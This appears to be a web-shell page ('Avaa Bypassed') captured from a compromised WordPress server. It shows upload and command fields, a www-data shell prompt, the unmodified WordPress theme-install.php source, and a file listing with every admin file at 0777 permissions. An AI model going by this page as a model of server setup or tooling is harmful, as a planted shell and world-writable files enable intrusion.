[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.19.6: ~ $
<?php
/**
 * WordPress Theme Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

$themes_allowedtags = array(
	'a'       => array(
		'href'   => array(),
		'title'  => array(),
		'target' => array(),
	),
	'abbr'    => array( 'title' => array() ),
	'acronym' => array( 'title' => array() ),
	'code'    => array(),
	'pre'     => array(),
	'em'      => array(),
	'strong'  => array(),
	'div'     => array(),
	'p'       => array(),
	'ul'      => array(),
	'ol'      => array(),
	'li'      => array(),
	'h1'      => array(),
	'h2'      => array(),
	'h3'      => array(),
	'h4'      => array(),
	'h5'      => array(),
	'h6'      => array(),
	'img'     => array(
		'src'   => array(),
		'class' => array(),
		'alt'   => array(),
	),
);

$theme_field_defaults = array(
	'description'  => true,
	'sections'     => false,
	'tested'       => true,
	'requires'     => true,
	'rating'       => true,
	'downloaded'   => true,
	'downloadlink' => true,
	'last_updated' => true,
	'homepage'     => true,
	'tags'         => true,
	'num_ratings'  => true,
);

/**
 * Retrieves the list of WordPress theme features (aka theme tags).
 *
 * @since 2.8.0
 *
 * @deprecated 3.1.0 Use get_theme_feature_list() instead.
 *
 * @return array
 */
function install_themes_feature_list() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_theme_feature_list()' );

	$cache = get_transient( 'wporg_theme_feature_list' );
	if ( ! $cache ) {
		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

	if ( $cache ) {
		return $cache;
	}

	$feature_list = themes_api( 'feature_list', array() );
	if ( is_wp_error( $feature_list ) ) {
		return array();
	}

	set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

	return $feature_list;
}

/**
 * Displays search form for searching themes.
 *
 * @since 2.8.0
 *
 * @param bool $type_selector
 */
function install_theme_search_form( $type_selector = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
	if ( ! $type_selector ) {
		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
	}
	?>
<form id="search-themes" method="get">
	<input type="hidden" name="tab" value="search" />
	<?php if ( $type_selector ) : ?>
	<label class="screen-reader-text" for="typeselector">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Type of search' );
		?>
	</label>
	<select	name="type" id="typeselector">
	<option value="term" <?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
	<option value="author" <?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
	<option value="tag" <?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Theme Installer' ); ?></option>
	</select>
	<label class="screen-reader-text" for="s">
		<?php
		switch ( $type ) {
			case 'term':
				/* translators: Hidden accessibility text. */
				_e( 'Search by keyword' );
				break;
			case 'author':
				/* translators: Hidden accessibility text. */
				_e( 'Search by author' );
				break;
			case 'tag':
				/* translators: Hidden accessibility text. */
				_e( 'Search by tag' );
				break;
		}
		?>
	</label>
	<?php else : ?>
	<label class="screen-reader-text" for="s">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Search by keyword' );
		?>
	</label>
	<?php endif; ?>
	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr( $term ); ?>" autofocus="autofocus" />
	<?php submit_button( __( 'Search' ), '', 'search', false ); ?>
</form>
	<?php
}

/**
 * Displays tags filter for themes.
 *
 * @since 2.8.0
 */
function install_themes_dashboard() {
	install_theme_search_form( false );
	?>
<h4><?php _e( 'Feature Filter' ); ?></h4>
<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>

<form method="get">
	<input type="hidden" name="tab" value="search" />
	<?php
	$feature_list = get_theme_feature_list();
	echo '<div class="feature-filter">';

	foreach ( (array) $feature_list as $feature_name => $features ) {
		$feature_name = esc_html( $feature_name );
		echo '<div class="feature-name">' . $feature_name . '</div>';

		echo '<ol class="feature-group">';
		foreach ( $features as $feature => $feature_name ) {
			$feature_name = esc_html( $feature_name );
			$feature      = esc_attr( $feature );
			?>

<li>
	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
</li>

<?php	} ?>
</ol>
<br class="clear" />
		<?php
	}
	?>

</div>
<br class="clear" />
	<?php submit_button( __( 'Find Themes' ), '', 'search' ); ?>
</form>
	<?php
}

/**
 * Displays a form to upload themes from zip files.
 *
 * @since 2.8.0
 */
function install_themes_upload() {
	?>
<p class="install-help"><?php _e( 'If you have a theme in a .zip format, you may install or update it by uploading it here.' ); ?></p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo esc_url( self_admin_url( 'update.php?action=upload-theme' ) ); ?>">
	<?php wp_nonce_field( 'theme-upload' ); ?>
	<label class="screen-reader-text" for="themezip">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Theme zip file' );
		?>
	</label>
	<input type="file" id="themezip" name="themezip" accept=".zip" />
	<?php submit_button( _x( 'Install Now', 'theme' ), '', 'install-theme-submit', false ); ?>
</form>
	<?php
}

/**
 * Prints a theme on the Install Themes pages.
 *
 * @deprecated 3.4.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 *
 * @param object $theme
 */
function display_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4.0' );
	global $wp_list_table;
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->single_row( $theme );
}

/**
 * Displays theme content based on theme list.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function display_themes() {
	global $wp_list_table;

	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->display();
}

/**
 * Displays theme information in dialog box form.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function install_theme_information() {
	global $wp_list_table;

	$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );

	if ( is_wp_error( $theme ) ) {
		wp_die( $theme );
	}

	iframe_header( __( 'Theme Installation' ) );
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->theme_installer_single( $theme );
	iframe_footer();
	exit;
}

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.89 KB 0777
admin.php File 3.54 KB 0777
ajax-actions.php File 148.07 KB 0777
bookmark.php File 11.34 KB 0777
class-automatic-upgrader-skin.php File 3.58 KB 0777
class-bulk-plugin-upgrader-skin.php File 2.53 KB 0777
class-bulk-theme-upgrader-skin.php File 2.6 KB 0777
class-bulk-upgrader-skin.php File 6.59 KB 0777
class-core-upgrader.php File 14.83 KB 0777
class-custom-background.php File 21.11 KB 0777
class-custom-image-header.php File 47.91 KB 0777
class-file-upload-upgrader.php File 4.07 KB 0777
class-ftp-pure.php File 5.3 KB 0777
class-ftp-sockets.php File 8.28 KB 0777
class-ftp.php File 26.66 KB 0777
class-language-pack-upgrader-skin.php File 2.8 KB 0777
class-language-pack-upgrader.php File 15.2 KB 0777
class-pclzip.php File 192.09 KB 0777
class-plugin-installer-skin.php File 11.77 KB 0777
class-plugin-upgrader-skin.php File 3.2 KB 0777
class-plugin-upgrader.php File 22.7 KB 0777
class-theme-installer-skin.php File 12.44 KB 0777
class-theme-upgrader-skin.php File 4.08 KB 0777
class-theme-upgrader.php File 26.08 KB 0777
class-walker-category-checklist.php File 4.97 KB 0777
class-walker-nav-menu-checklist.php File 5.5 KB 0777
class-walker-nav-menu-edit.php File 13.85 KB 0777
class-wp-ajax-upgrader-skin.php File 4.09 KB 0777
class-wp-application-passwords-list-table.php File 6.79 KB 0777
class-wp-automatic-updater.php File 59.7 KB 0777
class-wp-comments-list-table.php File 32.15 KB 0777
class-wp-community-events.php File 18.33 KB 0777
class-wp-debug-data.php File 63.76 KB 0777
class-wp-filesystem-base.php File 23.84 KB 0777
class-wp-filesystem-direct.php File 17.72 KB 0777
class-wp-filesystem-ftpext.php File 22.56 KB 0777
class-wp-filesystem-ftpsockets.php File 18.05 KB 0777
class-wp-filesystem-ssh2.php File 22.76 KB 0777
class-wp-importer.php File 7.29 KB 0777
class-wp-internal-pointers.php File 4.47 KB 0777
class-wp-links-list-table.php File 9.02 KB 0777
class-wp-list-table-compat.php File 1.46 KB 0777
class-wp-list-table.php File 51.63 KB 0777
class-wp-media-list-table.php File 25.03 KB 0777
class-wp-ms-sites-list-table.php File 21.51 KB 0777
class-wp-ms-themes-list-table.php File 27.67 KB 0777
class-wp-ms-users-list-table.php File 14.93 KB 0777
class-wp-plugin-install-list-table.php File 24.21 KB 0777
class-wp-plugins-list-table.php File 56.43 KB 0777
class-wp-post-comments-list-table.php File 1.42 KB 0777
class-wp-posts-list-table.php File 62.45 KB 0777
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0777
class-wp-privacy-data-removal-requests-list-table.php File 5.58 KB 0777
class-wp-privacy-policy-content.php File 32.01 KB 0777
class-wp-privacy-requests-table.php File 13.65 KB 0777
class-wp-screen.php File 36.45 KB 0777
class-wp-site-health-auto-updates.php File 13.24 KB 0777
class-wp-site-health.php File 119.5 KB 0777
class-wp-site-icon.php File 6.26 KB 0777
class-wp-terms-list-table.php File 20.69 KB 0777
class-wp-theme-install-list-table.php File 15.42 KB 0777
class-wp-themes-list-table.php File 10.1 KB 0777
class-wp-upgrader-skin.php File 6.94 KB 0777
class-wp-upgrader-skins.php File 1.44 KB 0777
class-wp-upgrader.php File 46.58 KB 0777
class-wp-users-list-table.php File 18.61 KB 0777
comment.php File 5.98 KB 0777
continents-cities.php File 20.06 KB 0777
credits.php File 5.73 KB 0777
dashboard.php File 68.08 KB 0777
deprecated.php File 40.8 KB 0777
edit-tag-messages.php File 1.44 KB 0777
export.php File 24.97 KB 0777
file.php File 95.19 KB 0777
image-edit.php File 42.82 KB 0777
image.php File 42.4 KB 0777
import.php File 6.46 KB 0777
list-table.php File 3.71 KB 0777
media.php File 116.08 KB 0777
menu.php File 9.39 KB 0777
meta-boxes.php File 64.54 KB 0777
misc.php File 45.38 KB 0777
ms-admin-filters.php File 1.27 KB 0777
ms-deprecated.php File 3.68 KB 0777
ms.php File 33.16 KB 0777
nav-menu.php File 47.76 KB 0777
network.php File 26.35 KB 0777
noop.php File 1.12 KB 0777
options.php File 4.15 KB 0777
plugin-install.php File 38.55 KB 0777
plugin.php File 90.75 KB 0777
post.php File 79.77 KB 0777
privacy-tools.php File 32.68 KB 0777
revision.php File 16.11 KB 0777
schema.php File 41.66 KB 0777
screen.php File 6.23 KB 0777
taxonomy.php File 8.23 KB 0777
template.php File 96.31 KB 0777
theme-install.php File 6.83 KB 0777
theme.php File 46.62 KB 0777
translation-install.php File 10.82 KB 0777
update-core.php File 67.71 KB 0777
update.php File 33.62 KB 0777
upgrade.php File 111.22 KB 0777
user.php File 22.96 KB 0777
widgets.php File 10.66 KB 0777